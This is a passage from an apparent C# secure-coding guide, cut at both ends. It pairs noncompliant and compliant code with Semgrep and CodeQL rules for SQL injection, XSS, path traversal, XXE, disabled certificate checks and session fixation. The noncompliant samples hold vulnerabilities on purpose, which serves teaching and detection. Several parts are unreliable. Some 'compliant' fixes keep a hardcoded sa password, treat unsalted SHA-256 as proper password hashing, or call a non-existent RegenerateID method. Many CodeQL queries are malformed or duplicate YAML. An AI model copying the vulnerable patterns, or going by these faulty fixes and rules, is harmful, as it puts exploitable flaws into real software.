}\n    }\n}\n```\n\nIn the compliant code, the RNGCryptoServiceProvider class from the System.Security.Cryptography namespace is used to generate random bytes with sufficient entropy. These random bytes are then converted into an integer using BitConverter.ToInt32 method. By utilizing a cryptographic random number generator, we ensure a higher degree of entropy and reduce the predictability of the generated numbers.\n\nThe compliant code provides a more secure and random number generation mechanism, making it suitable for applications that require unpredictable and non-reproducible random values.\n\n\n\n\n\nSemgrep:\n\n\n```\nrules:\n  - id: random-without-seed\n    patterns:\n      - pattern: 'new Random\\(\\)'\n    message: \"Random number generator initialized without a specified seed\"\n```\n\nCodeQL:\n\n\n\n```\nimport csharp\n\nfrom ObjectCreation randomCreation, MethodAccess randomNextAccess\nwhere randomCreation.getType().toString() = \"System.Random\" and\n  randomNextAccess.getTarget().toString() = randomCreation.toString() and\n  not exists(Expression seedArg |\n    randomCreation.getArguments() = seedArg and\n    seedArg.toString().startsWith(\"new Random(\")\n  )\nselect randomCreation\n```\n\n\n\n## XSS\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nusing System;\n\npublic class UserInputProcessor\n{\n    public string ProcessUserInput(string userInput)\n    {\n        string sanitizedInput = userInput.Replace(\"<\", \"&lt;\").Replace(\">\", \"&gt;\");\n        return sanitizedInput;\n    }\n}\n```\n\nIn this noncompliant code, the ProcessUserInput method attempts to sanitize user input by replacing the < and > characters with their corresponding HTML entities (&lt; and &gt;). However, this approach is insufficient to prevent XSS attacks because it only focuses on these specific characters and fails to handle other potentially malicious input.\n\n\nTo address this issue and properly protect against XSS attacks, here's an example of compliant code:\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nusing System;\nusing System.Web;\n\npublic class UserInputProcessor\n{\n    public string ProcessUserInput(string userInput)\n    {\n        string sanitizedInput = HttpUtility.HtmlEncode(userInput);\n        return sanitizedInput;\n    }\n}\n```\n\n\nIn the compliant code, the HtmlEncode method from the System.Web namespace is used to properly encode the user input. This method replaces special characters with their corresponding HTML entities, ensuring that the input is rendered as plain text rather than interpreted as HTML or JavaScript code.\n\nBy using HtmlEncode, the compliant code mitigates the risk of XSS attacks by encoding all potentially dangerous characters in the user input, making it safe to display the input on web pages without the risk of executing unintended scripts.\n\nIt's important to note that the best approach to prevent XSS attacks is to use contextual output encoding at the point of rendering, rather than relying solely on input sanitization. This ensures that the output is properly encoded based on the context in which it is being used, such as HTML attributes, JavaScript, or CSS, providing robust protection against XSS vulnerabilities.\n\n\n\n\n\nSemgrep:\n\n\n```\nrules:\n  - id: xss-sanitization\n    patterns:\n      - pattern: 'Replace\\(\\\"<\\\"'\n    message: \"Potential XSS vulnerability: User input not properly sanitized\"\n```\n\nCodeQL:\n\n\n\n```\nimport csharp\n\nfrom MethodInvocation replaceMethod\nwhere replaceMethod.getTarget().toString() = \"userInput.Replace\"\nselect replaceMethod\n```\n\n\n\n\n## SQL Injection\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nusing System;\nusing System.Data.SqlClient;\n\npublic class UserLogin\n{\n    public bool AuthenticateUser(string username, string password)\n    {\n        string query = \"SELECT COUNT(*) FROM Users WHERE Username='\" + username + \"' AND Password='\" + password + \"'\";\n        using (SqlConnection connection = new SqlConnection(\"Data Source=example.com;Initial Catalog=MyDB;User ID=sa;Password=pass123\"))\n        {\n            SqlCommand command = new SqlCommand(query, connection);\n            connection.Open();\n            int count = (int)command.ExecuteScalar();\n            return count > 0;\n        }\n    }\n}\n```\n\nIn this noncompliant code, the AuthenticateUser method constructs a SQL query by directly concatenating the username and password values into the query string. This approach is highly vulnerable to SQL injection attacks, as an attacker can manipulate the input to execute arbitrary SQL commands.\n\n\nTo prevent SQL injection attacks and ensure secure database interactions, here's an example of compliant code:\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nusing System;\nusing System.Data.SqlClient;\n\npublic class UserLogin\n{\n    public bool AuthenticateUser(string username, string password)\n    {\n        string query = \"SELECT COUNT(*) FROM Users WHERE Username=@Username AND Password=@Password\";\n        using (SqlConnection connection = new SqlConnection(\"Data Source=example.com;Initial Catalog=MyDB;User ID=sa;Password=pass123\"))\n        {\n            SqlCommand command = new SqlCommand(query, connection);\n            command.Parameters.AddWithValue(\"@Username\", username);\n            command.Parameters.AddWithValue(\"@Password\", password);\n            connection.Open();\n            int count = (int)command.ExecuteScalar();\n            return count > 0;\n        }\n    }\n}\n```\n\nIn the compliant code, parameterized queries are used to handle user input securely. The query string includes placeholders (@Username and @Password) for the input values. The actual values are then provided using the AddWithValue method on the SqlCommand object, which adds the values as parameters rather than concatenating them directly into the query.\n\nBy using parameterized queries, the compliant code ensures that the user input is treated as data rather than executable code, effectively preventing SQL injection attacks. The database engine handles the proper escaping and sanitization of the input values, keeping the application secure.\n\n\n\n\nSemgrep:\n\n\n```\nrules:\n  - id: sql-injection\n    patterns:\n      - pattern: 'SELECT .* FROM .* WHERE .*'\n    message: \"Potential SQL injection vulnerability: User input not properly parameterized\"\n```\n\nCodeQL:\n\n\n\n```\nimport csharp\n\nfrom BinaryExpression binaryExpr\nwhere binaryExpr.getLeftOperand().toString().startsWith(\"\\\"SELECT \") and\n  binaryExpr.getOperator().toString() = \"+\" and\n  binaryExpr.getRightOperand().toString().contains(\"\\\"\")\nselect binaryExpr\n```\n\n\n\n## External Control of File Name or Path\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nusing System;\nusing System.IO;\n\npublic class FileProcessor\n{\n    public void ProcessFile(string fileName)\n    {\n        string filePath = \"C:\\\\Temp\\\\\" + fileName;\n        if (File.Exists(filePath))\n        {\n            // Process the file\n        }\n        else\n        {\n            Console.WriteLine(\"File not found.\");\n        }\n    }\n}\n```\n\n\nIn this noncompliant code, the ProcessFile method constructs the file path by directly concatenating the fileName parameter with a fixed base directory (C:\\Temp\\). This approach is vulnerable to external control of the file name, as an attacker can manipulate the fileName input to access files outside the intended directory.\n\n\nTo prevent external control of file name or path attacks and ensure secure file operations, here's an example of compliant code:\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nusing System;\nusing System.IO;\n\npublic class FileProcessor\n{\n    private readonly string baseDirectory = \"C:\\\\Temp\\\\\";\n\n    public void ProcessFile(string fileName)\n    {\n        string sanitizedFileName = Path.GetFileName(fileName);\n        string filePath = Path.Combine(baseDirectory, sanitizedFileName);\n        if (File.Exists(filePath))\n        {\n            // Process the file\n        }\n        else\n        {\n            Console.WriteLine(\"File not found.\");\n        }\n    }\n}\n```\n\nIn the compliant code, the Path.GetFileName method is used to extract the file name from the fileName parameter, discarding any directory information. The Path.Combine method is then used to construct the full file path by combining the base directory (C:\\Temp\\) with the sanitized file name.\n\nBy using these secure file path handling techniques, the compliant code ensures that the file name or path provided by the user is properly validated and prevents unauthorized access to files outside the intended directory.\n\n\n\n\n\n\nSemgrep:\n\n\n```\nrules:\n  - id: path-traversal\n    patterns:\n      - pattern: 'C:\\\\Temp\\\\\\\\'\n    message: \"Potential path traversal vulnerability: Unsanitized file path concatenation\"\n```\n\nCodeQL:\n\n\n\n```\nimport csharp\n\nfrom Addition addExpr\nwhere addExpr.getLeftOperand().toString() = \"\\\"C:\\\\Temp\\\\\" and\n  addExpr.getOperator().toString() = \"+\" and\n  addExpr.getRightOperand().toString().contains(\"\\\"\")\nselect addExpr\n```\n\n\n\n## Generation of Error Message Containing Sensitive Information\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nusing System;\n\npublic class UserController\n{\n    public void AuthenticateUser(string username, string password)\n    {\n        if (string.IsNullOrEmpty(username) || string.IsNullOrEmpty(password))\n        {\n            throw new ArgumentException(\"Invalid username or password.\");\n        }\n\n        // Authenticate the user\n    }\n}\n```\n\n\nIn this noncompliant code, when the AuthenticateUser method receives an empty or null username or password, it throws an ArgumentException with an error message that discloses sensitive information (\"Invalid username or password\"). Revealing such details in error messages can assist attackers in identifying valid usernames and potentially launch further attacks.\n\n\nTo address this issue and prevent exposure of sensitive information, here's an example of compliant code:\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nusing System;\n\npublic class UserController\n{\n    public void AuthenticateUser(string username, string password)\n    {\n        if (string.IsNullOrEmpty(username) || string.IsNullOrEmpty(password))\n        {\n            throw new ArgumentException(\"Invalid credentials.\");\n        }\n\n        // Authenticate the user\n    }\n}\n```\n\nIn the compliant code, the error message has been generalized to \"Invalid credentials\" instead of explicitly mentioning the username or password. This approach avoids revealing sensitive information in error messages, making it harder for attackers to gather useful details.\n\nBy following this approach, the compliant code ensures that error messages do not disclose sensitive information, thus reducing the risk of potential attacks targeting user credentials.\n\n\n\n\n\nSemgrep:\n\n\n```\nrules:\n  - id: empty-username-password\n    patterns:\n      - pattern: 'string.IsNullOrEmpty\\({{ _ }}\\)'\n    message: \"Potential issue: Empty or null username or password\"\n```\n\nCodeQL:\n\n\n\n```\nimport csharp\n\nfrom Invocation invocation\nwhere invocation.getTarget().toString() = \"string.IsNullOrEmpty\" and\n  invocation.getArgument(0).toString() = \"{{ _ }}\"\nselect invocation\n```\n\n\n## unprotected storage of credentials\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nusing System;\n\npublic class UserController\n{\n    private string _username;\n    private string _password;\n\n    public void SetCredentials(string username, string password)\n    {\n        _username = username;\n        _password = password;\n    }\n\n    public void AuthenticateUser()\n    {\n        // Authenticate the user using the stored credentials\n    }\n}\n```\n\nIn this noncompliant code, the SetCredentials method stores the username and password provided by the user in class-level variables `_username` and `_password`, respectively. However, these credentials are stored in plain text without any additional protection, such as encryption or secure storage mechanisms. This leaves the sensitive information vulnerable to unauthorized access if an attacker gains access to the application or the system.\n\n\nTo address this security issue and ensure the protected storage of credentials, here's an example of compliant code:\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nusing System;\nusing System.Security.Cryptography;\n\npublic class UserController\n{\n    private byte[] _encryptedCredentials;\n\n    public void SetCredentials(string username, string password)\n    {\n        byte[] encryptedUsername = EncryptData(username);\n        byte[] encryptedPassword = EncryptData(password);\n\n        _encryptedCredentials = CombineArrays(encryptedUsername, encryptedPassword);\n    }\n\n    public void AuthenticateUser()\n    {\n        // Decrypt and use the stored credentials for user authentication\n        string decryptedUsername = DecryptData(GetUsernameFromEncryptedCredentials());\n        string decryptedPassword = DecryptData(GetPasswordFromEncryptedCredentials());\n\n        // Authenticate the user using the decrypted credentials\n    }\n\n    private byte[] EncryptData(string data)\n    {\n        // Use a secure encryption algorithm (e.g., AES) to encrypt the data\n        // and return the encrypted byte array\n        // ...\n    }\n\n    private string DecryptData(byte[] encryptedData)\n    {\n        // Use the same encryption algorithm and decryption process\n        // to decrypt the data and return the plaintext\n        // ...\n    }\n\n    private byte[] CombineArrays(byte[] array1, byte[] array2)\n    {\n        // Combine two byte arrays into one\n        // ...\n    }\n\n    private byte[] GetUsernameFromEncryptedCredentials()\n    {\n        // Extract and return the encrypted username from the stored credentials\n        // ...\n    }\n\n    private byte[] GetPasswordFromEncryptedCredentials()\n    {\n        // Extract and return the encrypted password from the stored credentials\n        // ...\n    }\n}\n```\n\nIn the compliant code, the sensitive information (username and password) is no longer stored directly as plain text. Instead, the SetCredentials method encrypts the username and password using a secure encryption algorithm (such as AES) before storing them in the _encryptedCredentials variable. The AuthenticateUser method then retrieves and decrypts the credentials for authentication purposes.\n\n\nBy encrypting the credentials, the compliant code ensures that even if an attacker gains unauthorized access to the stored credentials, they would be in an encrypted form, significantly reducing the risk of exposing sensitive information.\n\n\n\n\nSemgrep:\n\n\n```\nrules:\n  - id: insecure-credentials-storage\n    patterns:\n      - pattern: '_username = {{ _ }}'\n      - pattern: '_password = {{ _ }}'\n    message: \"Potential security issue: Credentials stored in memory\"\n```\n\nCodeQL:\n\n\n\n```\nimport csharp\n\nclass StoredCredentials extends FieldAccess {\n  StoredCredentials() {\n    this.getTarget().toString().matches(\"_username\") or\n    this.getTarget().toString().matches(\"_password\")\n  }\n}\n\nfrom StoredCredentials access\nselect access\n```\n\n\n## Trust Boundary Violation\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nusing System;\n\npublic class PaymentController\n{\n    private string _creditCardNumber;\n\n    public void ProcessPayment(string creditCardNumber)\n    {\n        _creditCardNumber = creditCardNumber;\n        // Process the payment using the credit card number\n    }\n}\n```\n\nIn this noncompliant code, the ProcessPayment method accepts a credit card number as a parameter and directly stores it in the _creditCardNumber variable within the PaymentController class. The credit card number is treated as trusted data within the class, even though it comes from an external source. This violates the trust boundary by assuming the data is safe and trustworthy, which can lead to potential security vulnerabilities.\n\n\nTo address this security issue and enforce a proper trust boundary, here's an example of compliant code:\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nusing System;\n\npublic class PaymentController\n{\n    public void ProcessPayment(string creditCardNumber)\n    {\n        // Perform input validation and sanitization of the credit card number\n        if (IsValidCreditCardNumber(creditCardNumber))\n        {\n            // Process the payment using the credit card number\n        }\n        else\n        {\n            // Handle the case when an invalid credit card number is provided\n        }\n    }\n\n    private bool IsValidCreditCardNumber(string creditCardNumber)\n    {\n        // Implement proper credit card number validation logic\n        // to ensure the input meets the required format and integrity\n        // ...\n    }\n}\n```\n\n\nIn the compliant code, the ProcessPayment method performs input validation and sanitization of the credit card number before processing the payment. The method checks if the credit card number is valid by calling the IsValidCreditCardNumber function, which implements the necessary validation logic to ensure the input meets the required format and integrity.\n\nBy implementing proper input validation and sanitization, the compliant code establishes a trust boundary and ensures that only valid and trusted data is processed, reducing the risk of security vulnerabilities arising from untrusted or malicious input.\n\n\n\n\n\nSemgrep:\n\n\n```\nrules:\n  - id: insecure-credit-card-storage\n    patterns:\n      - pattern: '_creditCardNumber = {{ _ }}'\n    message: \"Potential security issue: Credit card number stored in memory\"\n```\n\nCodeQL:\n\n\n\n```\nimport csharp\n\nclass StoredCreditCardNumber extends FieldAccess {\n  StoredCreditCardNumber() {\n    this.getTarget().toString().matches(\"_creditCardNumber\")\n  }\n}\n\nfrom StoredCreditCardNumber access\nselect access\n```\n\n\n\n## Insufficiently Protected Credentials\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nusing System;\n\npublic class LoginController\n{\n    private string _username;\n    private string _password;\n\n    public bool Authenticate(string username, string password)\n    {\n        _username = username;\n        _password = password;\n        \n        // Perform authentication logic\n        // ...\n        \n        return true;\n    }\n}\n```\n\nIn this noncompliant code, the Authenticate method accepts a username and password as parameters and directly stores them in the _username and _password variables within the LoginController class. The credentials are stored in plain text without any additional protection mechanisms such as encryption or hashing. Storing credentials in plain text increases the risk of unauthorized access and potential data breaches if the credentials are compromised.\n\nTo address this security issue and ensure the proper protection of credentials, here's an example of compliant code:\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nusing System;\nusing System.Security.Cryptography;\n\npublic class LoginController\n{\n    public bool Authenticate(string username, string password)\n    {\n        string hashedPassword = HashPassword(password);\n        \n        // Perform authentication logic using the hashed password\n        // ...\n        \n        return true;\n    }\n\n    private string HashPassword(string password)\n    {\n        using (SHA256 sha256 = SHA256.Create())\n        {\n            byte[] passwordBytes = System.Text.Encoding.UTF8.GetBytes(password);\n            byte[] hashedBytes = sha256.ComputeHash(passwordBytes);\n            return Convert.ToBase64String(hashedBytes);\n        }\n    }\n}\n```\n\n\nIn the compliant code, the Authenticate method still accepts a username and password as parameters, but instead of storing them directly, the password is hashed using a secure cryptographic hash function (in this case, SHA-256). The HashPassword function takes the password as input, generates a hash value, and returns the hashed password as a string.\n\n\nBy hashing the password, the compliant code ensures that the credentials are not stored in plain text and adds an additional layer of protection. When performing authentication, the stored hashed password is compared with the hashed version of the user's input, rather than comparing the plain-text passwords directly.\n\nUsing proper password hashing techniques helps mitigate the impact of data breaches and unauthorized access, as even if the stored hashes are obtained, they are computationally difficult to reverse back to the original password.\n\n\n\n\n\n\nSemgrep:\n\n\n```\nrules:\n  - id: insecure-sensitive-data-storage\n    patterns:\n      - pattern: '_username = {{ _ }}'\n      - pattern: '_password = {{ _ }}'\n    message: \"Potential security issue: Sensitive data stored in memory\"\n```\n\nCodeQL:\n\n\n\n```\nrules:\n  - id: insecure-sensitive-data-storage\n    patterns:\n      - pattern: '_username = {{ _ }}'\n      - pattern: '_password = {{ _ }}'\n    message: \"Potential security issue: Sensitive data stored in memory\"\n```\n\n\n\n\n## Restriction of XML External Entity Reference\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nusing System;\nusing System.Xml;\n\npublic class XmlParser\n{\n    public void ParseXml(string xmlContent)\n    {\n        XmlDocument xmlDoc = new XmlDocument();\n        xmlDoc.LoadXml(xmlContent);\n        \n        // Process the XML document\n        // ...\n    }\n}\n```\n\nIn this noncompliant code, the ParseXml method takes an XML content as a string and loads it into an XmlDocument object using the LoadXml method. However, this code does not enforce any restriction on external entity references, making it vulnerable to XXE attacks.\n\n\nTo address this security issue and restrict XML external entity references, here's an example of compliant code:\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nusing System;\nusing System.Xml;\n\npublic class XmlParser\n{\n    public void ParseXml(string xmlContent)\n    {\n        XmlReaderSettings settings = new XmlReaderSettings();\n        settings.DtdProcessing = DtdProcessing.Prohibit;\n\n        using (XmlReader reader = XmlReader.Create(new System.IO.StringReader(xmlContent), settings))\n        {\n            XmlDocument xmlDoc = new XmlDocument();\n            xmlDoc.Load(reader);\n\n            // Process the XML document\n            // ...\n        }\n    }\n}\n```\n\n\nIn the compliant code, the ParseXml method sets up an instance of XmlReaderSettings and explicitly sets the DtdProcessing property to DtdProcessing.Prohibit. This setting prevents the parsing of any external entities defined in the XML content, effectively mitigating XXE attacks.\n\n\nBy enforcing this restriction, the compliant code ensures that XML parsing is performed without evaluating external entity references, thus protecting against potential attacks that leverage XXE vulnerabilities.\n\n\n\n\n\n\nSemgrep:\n\n\n```\nrules:\n  - id: xml-parsing-insecure\n    pattern: |\n      XmlDocument xmlDoc = new XmlDocument();\n      xmlDoc.LoadXml({{ _ }});\n    message: \"Potential security issue: Insecure XML parsing\"\n```\n\nCodeQL:\n\n\n\n```\nimport csharp\n\nclass InsecureXmlParsing extends MethodCall {\n  InsecureXmlParsing() {\n    this.getTarget().toString().matches(\"XmlDocument.LoadXml\")\n  }\n}\n\nfrom InsecureXmlParsing call\nselect call\n```\n\n\n\n## Vulnerable and Outdated Components\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nusing System;\nusing Newtonsoft.Json;\n\npublic class UserData\n{\n    public string Name { get; set; }\n    public string Email { get; set; }\n}\n\npublic class UserController\n{\n    public void GetUserDetails()\n    {\n        // Fetch user data from the database\n        UserData user = Database.GetUserDetails();\n\n        // Convert user data to JSON\n        string json = JsonConvert.SerializeObject(user);\n\n        // Send the JSON response to the client\n        HttpResponse.Write(json);\n    }\n}\n```\n\nIn this noncompliant code, the UserController fetches user data from the database and converts it to JSON using the JsonConvert.SerializeObject method from the Newtonsoft.Json library. However, the code uses an outdated version of the library, which may contain known vulnerabilities.\n\n\nTo address this security issue and ensure the usage of secure and up-to-date components, here's an example of compliant code:\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nusing System;\nusing System.Text.Json;\n\npublic class UserData\n{\n    public string Name { get; set; }\n    public string Email { get; set; }\n}\n\npublic class UserController\n{\n    public void GetUserDetails()\n    {\n        // Fetch user data from the database\n        UserData user = Database.GetUserDetails();\n\n        // Convert user data to JSON\n        string json = JsonSerializer.Serialize(user);\n\n        // Send the JSON response to the client\n        HttpResponse.Write(json);\n    }\n}\n```\n\n\nIn the compliant code, the UserController uses the built-in System.Text.Json namespace instead of the Newtonsoft.Json library. By leveraging the latest version of the built-in JSON serializer, the code ensures the usage of secure and up-to-date components.\n\n\nIt is crucial to regularly update and replace vulnerable or outdated components with their latest versions or more secure alternatives to mitigate potential security risks.\n\n\n\n\n\nSemgrep:\n\n\n```\nrules:\n  - id: json-serialization-insecure\n    pattern: |\n      JsonConvert.SerializeObject({{ _ }});\n    message: \"Potential security issue: Insecure JSON serialization\"\n```\n\nCodeQL:\n\n\n\n```\nimport csharp\n\nclass InsecureJsonSerialization extends MethodCall {\n  InsecureJsonSerialization() {\n    this.getTarget().toString().matches(\"JsonConvert.SerializeObject\")\n  }\n}\n\nfrom InsecureJsonSerialization call\nselect call\n```\n\n\n\n## Improper Validation of Certificate with Host Mismatch\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nusing System;\nusing System.Net.Http;\n\npublic class HttpClientExample\n{\n    public void SendRequest()\n    {\n        // Create HttpClient instance\n        HttpClient client = new HttpClient();\n\n        // Disable SSL certificate validation\n        ServicePointManager.ServerCertificateValidationCallback +=\n            (sender, certificate, chain, sslPolicyErrors) => true;\n\n        // Send a request to a remote server\n        HttpResponseMessage response = client.GetAsync(\"https://example.com\").Result;\n\n        // Process the response\n        if (response.IsSuccessStatusCode)\n        {\n            // Do something with the successful response\n            Console.WriteLine(\"Request succeeded!\");\n        }\n        else\n        {\n            // Handle the error response\n            Console.WriteLine(\"Request failed!\");\n        }\n    }\n}\n```\n\nIn this noncompliant code, the HttpClientExample class sends a request to a remote server using the HttpClient class. However, the code disables SSL certificate validation by modifying the ServicePointManager.ServerCertificateValidationCallback event to always return true. This means that the code will accept any certificate, even if it has a host mismatch, expired, or has other security issues.\n\n\nTo address this security issue and ensure proper validation of certificates with host matches, here's an example of compliant code:\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nusing System;\nusing System.Net.Http;\n\npublic class HttpClientExample\n{\n    public void SendRequest()\n    {\n        // Create HttpClient instance\n        HttpClient client = new HttpClient();\n\n        // Enable SSL certificate validation\n        ServicePointManager.ServerCertificateValidationCallback +=\n            (sender, certificate, chain, sslPolicyErrors) =>\n            {\n                if (sslPolicyErrors == SslPolicyErrors.None)\n                    return true;\n                \n                // Check if the certificate matches the host\n                string requestedHost = new Uri(\"https://example.com\").Host;\n                return certificate.Subject.Equals($\"CN={requestedHost}\", StringComparison.OrdinalIgnoreCase);\n            };\n\n        // Send a request to a remote server\n        HttpResponseMessage response = client.GetAsync(\"https://example.com\").Result;\n\n        // Process the response\n        if (response.IsSuccessStatusCode)\n        {\n            // Do something with the successful response\n            Console.WriteLine(\"Request succeeded!\");\n        }\n        else\n        {\n            // Handle the error response\n            Console.WriteLine(\"Request failed!\");\n        }\n    }\n}\n```\n\n\nIn the compliant code, the ServicePointManager.ServerCertificateValidationCallback event is modified to perform proper certificate validation. It checks if the certificate subject matches the requested host, ensuring that the certificate is valid and not subject to host mismatch vulnerabilities.\n\nBy properly validating certificates with host matches, the compliant code reduces the risk of man-in-the-middle attacks and other security vulnerabilities associated with improper certificate validation.\n\n\n\n\nSemgrep:\n\n\n```\nrules:\n  - id: disable-ssl-certificate-validation\n    pattern: |\n      ServicePointManager.ServerCertificateValidationCallback += {{ _ }};\n    message: \"Potential security issue: Disabling SSL certificate validation\"\n```\n\nCodeQL:\n\n\n\n```\nimport csharp\n\nclass DisableSSLCertificateValidation extends MethodCall {\n  DisableSSLCertificateValidation() {\n    this.getTarget().toString().matches(\"ServicePointManager.ServerCertificateValidationCallback +=\")\n  }\n}\n\nfrom DisableSSLCertificateValidation call\nselect call\n```\n\n\n\n\n\n## Improper Authentication\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nusing System;\nusing System.Data.SqlClient;\n\npublic class AuthenticationExample\n{\n    public bool AuthenticateUser(string username, string password)\n    {\n        string connectionString = \"Data Source=...;Initial Catalog=...;User ID=...;Password=...\";\n\n        // Construct the SQL query with user-provided input\n        string query = $\"SELECT * FROM Users WHERE Username = '{username}' AND Password = '{password}'\";\n\n        using (SqlConnection connection = new SqlConnection(connectionString))\n        {\n            SqlCommand command = new SqlCommand(query, connection);\n\n            // Open the connection\n            connection.Open();\n\n            // Execute the query\n            SqlDataReader reader = command.ExecuteReader();\n\n            // Check if the user exists\n            bool userExists = reader.HasRows;\n\n            // Close the connection\n            connection.Close();\n\n            return userExists;\n        }\n    }\n}\n```\n\nIn this noncompliant code, the AuthenticateUser method performs authentication by constructing a SQL query with user-provided input for the username and password. This code is susceptible to SQL injection attacks, as the user input is directly concatenated into the query string without proper sanitization or parameterization.\n\n\nTo address this security issue and ensure proper authentication, here's an example of compliant code that uses parameterized queries:\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nusing System;\nusing System.Data.SqlClient;\n\npublic class AuthenticationExample\n{\n    public bool AuthenticateUser(string username, string password)\n    {\n        string connectionString = \"Data Source=...;Initial Catalog=...;User ID=...;Password=...\";\n\n        // Construct the parameterized SQL query\n        string query = \"SELECT * FROM Users WHERE Username = @username AND Password = @password\";\n\n        using (SqlConnection connection = new SqlConnection(connectionString))\n        {\n            SqlCommand command = new SqlCommand(query, connection);\n\n            // Add parameters to the command\n            command.Parameters.AddWithValue(\"@username\", username);\n            command.Parameters.AddWithValue(\"@password\", password);\n\n            // Open the connection\n            connection.Open();\n\n            // Execute the query\n            SqlDataReader reader = command.ExecuteReader();\n\n            // Check if the user exists\n            bool userExists = reader.HasRows;\n\n            // Close the connection\n            connection.Close();\n\n            return userExists;\n        }\n    }\n}\n```\n\n\nIn the compliant code, the SQL query is parameterized, and the user-provided input is passed as parameters to the SqlCommand object. This ensures that the input is properly handled and prevents SQL injection attacks by treating the input as data rather than executable code.\n\nBy using parameterized queries, the compliant code mitigates the risk of SQL injection and ensures proper authentication of users.\n\n\n\n\n\nSemgrep:\n\n\n```\nrules:\n  - id: sql-injection\n    pattern: |\n      SqlCommand command = new SqlCommand({{ query }}, {{ connection }});\n    message: \"Potential SQL injection vulnerability\"\n```\n\nCodeQL:\n\n\n\n```\nimport csharp\n\nclass SQLInjection extends MethodCall {\n  SQLInjection() {\n    this.getTarget().toString().matches(\"SqlCommand SqlCommand(SqlConnection, String)\")\n    or\n    this.getTarget().toString().matches(\"SqlCommand SqlCommand(SqlConnection, String, SqlConnection)\")\n  }\n}\n\nfrom SQLInjection call, DataFlow::PathNode query\nwhere query.asExpr().getValue().toString().matches(\".*[\\\"'].*\")\nselect query, call\n```\n\n\n\n\n## Session Fixation\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nusing System;\nusing System.Web;\n\npublic class SessionFixationExample\n{\n    public void Login(string username)\n    {\n        // Create a new session\n        HttpSessionState session = HttpContext.Current.Session;\n\n        // Set the username in the session\n        session[\"username\"] = username;\n    }\n\n    public bool IsUserAuthenticated()\n    {\n        // Retrieve the session\n        HttpSessionState session = HttpContext.Current.Session;\n\n        // Check if the username exists in the session\n        return session[\"username\"] != null;\n    }\n}\n```\n\nIn this noncompliant code, the Login method creates a new session and sets the username provided by the user. However, the session ID remains the same throughout the user's session, making it vulnerable to session fixation attacks. An attacker can force a user to use a specific session ID, potentially compromising the user's session.\n\n\nTo address this security issue and prevent session fixation attacks, here's an example of compliant code that regenerates the session ID after successful authentication:\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nusing System;\nusing System.Web;\n\npublic class SessionFixationExample\n{\n    public void Login(string username)\n    {\n        // Create a new session\n        HttpSessionState session = HttpContext.Current.Session;\n\n        // Set the username in the session\n        session[\"username\"] = username;\n\n        // Regenerate the session ID\n        session.RegenerateID();\n    }\n\n    public bool IsUserAuthenticated()\n    {\n        // Retrieve the session\n        HttpSessionState session = HttpContext.Current.Session;\n\n        // Check if the username exists in the session\n        return session[\"username\"] != null;\n    }\n}\n```\n\n\nIn the compliant code, after setting the username in the session, the session ID is regenerated using the RegenerateID method. This ensures that a new session ID is generated after successful authentication, effectively preventing session fixation attacks.\n\nBy regenerating the session ID, the compliant code mitigates the risk of session fixation and ensures that each user is assigned a unique session ID upon authentication.\n\n\n\n\n\nSemgrep:\n\n\n```\nrules:\n  - id: session-fixation\n    pattern: |\n      HttpSessionState session = HttpContext.Current.Session;\n    message: \"Potential session fixation vulnerability\"\n```\n\nCodeQL:\n\n\n\n```\nimport csharp\n\nclass SessionFixation extends MethodAccess {\n  SessionFixation() {\n    this.getTarget().toString().matches(\"HttpSessionState HttpSessionState(HttpContext)\")\n  }\n}\n\nfrom SessionFixation call, DataFlow::PathNode session\nselect session, call\n```\n\n\n## Inclusion of Functionality from Untrusted Control\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nusing System;\nusing System.Diagnostics;\nusing System.IO;\n\npublic class FileUploader\n{\n    public void UploadFile(string filename, 